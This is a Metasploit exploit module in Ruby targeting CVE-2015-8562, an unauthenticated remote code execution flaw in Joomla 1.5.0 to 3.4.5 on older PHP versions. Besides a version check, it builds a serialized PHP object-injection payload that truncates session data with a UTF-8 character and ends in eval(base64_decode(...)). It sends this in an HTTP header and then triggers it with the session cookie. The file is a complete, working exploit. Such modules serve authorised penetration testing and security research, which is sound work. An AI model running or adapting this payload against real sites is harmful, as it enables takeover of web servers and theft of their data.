##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Joomla

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
      'Description'    => %q{
          Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
          By storing user supplied headers in the databases session table it's possible to truncate the input
          by sending an UTF-8 character. The custom created payload is then executed once the session is read
          from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
          In later versions the deserialisation of invalid session data stops on the first error and the
          exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
          5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
      },
      'Author'	=>
        [
          'Marc-Alexandre Montpas', # discovery
          'Christian Mehlmauer' # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-8562'],
          ['EDB', '38977'], # PoC from Gary
          ['EDB', '39033'], # Exploit modified to use "X-Forwarded-For" header instead of "User-Agent"
          ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
          ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
          ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
          ['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
          ['URL', 'https://bugs.php.net/bug.php?id=70219']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Joomla 1.5.0 - 3.4.5', {}]],
      'DisclosureDate' => 'Dec 14 2015',
      'DefaultTarget'  => 0)
    )

    register_options(
      [
        OptEnum.new('HEADER', [ true,  'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
      ])

    register_advanced_options(
      [
        OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
      ])
  end

  def check
    res = send_request_cgi({'uri' => target_uri.path })

    unless res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    unless res.headers['X-Powered-By']
      vprint_error("Unable to determine the PHP version.")
      return Exploit::CheckCode::Unknown
    end

    online = joomla_and_online?
    unless online
      vprint_error("Unable to detect joomla on #{target_uri.path}")
      return Exploit::CheckCode::Safe
    end

    php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
    version = Gem::Version.new(php_version)
    vulnerable = false

    # check for ubuntu and debian specific versions. Was fixed in
    # * 5.5.9+dfsg-1ubuntu4.13
    # * 5.3.10-1ubuntu3.20
    # * 5.4.45-0+deb7u1
    # Changelogs (search for CVE-2015-6835 or #70219):
    #   http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
    #   http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
    #   http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
    if rest && rest.include?('ubuntu')
      sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
      vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")

      if version > Gem::Version.new('5.5.9')
        vulnerable = false
      elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
        vulnerable = false
      elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
        vulnerable = false
      else
        vulnerable = true
      end
    elsif rest && rest.include?('+deb')
      sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
      vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")

      if version > Gem::Version.new('5.4.45')
        vulnerable = false
      elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
        vulnerable = false
      else
        vulnerable = true
      end
    else
      vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
      vulnerable = true if version <= Gem::Version.new('5.4.44')
      vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
      vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
    end

    unless vulnerable
      vprint_error('This module currently does not work against this PHP version')
      return Exploit::CheckCode::Safe
    end

    j_version = joomla_version
    unless j_version.nil?
      vprint_status("Detected Joomla version #{j_version}")
      return Exploit::CheckCode::Appears if Gem::Version.new(j_version) < Gem::Version.new('3.4.6')
    end

    return Exploit::CheckCode::Detected if online

    Exploit::CheckCode::Safe
  end

  def get_payload(header_name)
    pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
    pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
    pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
    post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
    return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{Rex::Text::rand_4byte_utf8}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def exploit
    if check == Exploit::CheckCode::Safe && !datastore['FORCE']
      print_error('Target seems safe, so we will not continue.')
      return
    end

    print_status("Sending payload ...")
    header_name = Rex::Text.rand_text_alpha_upper(5)
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => target_uri.path,
      'headers' => { datastore['HEADER'] => get_payload(header_name) }
    })
    fail_with(Failure::Unknown, 'No response') if res.nil?
    session_cookie = res.get_cookies
    send_request_cgi({
      'method'  => 'GET',
      'uri'     => target_uri.path,
      'cookie'  => session_cookie,
      'headers' => {
        header_name => Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
end
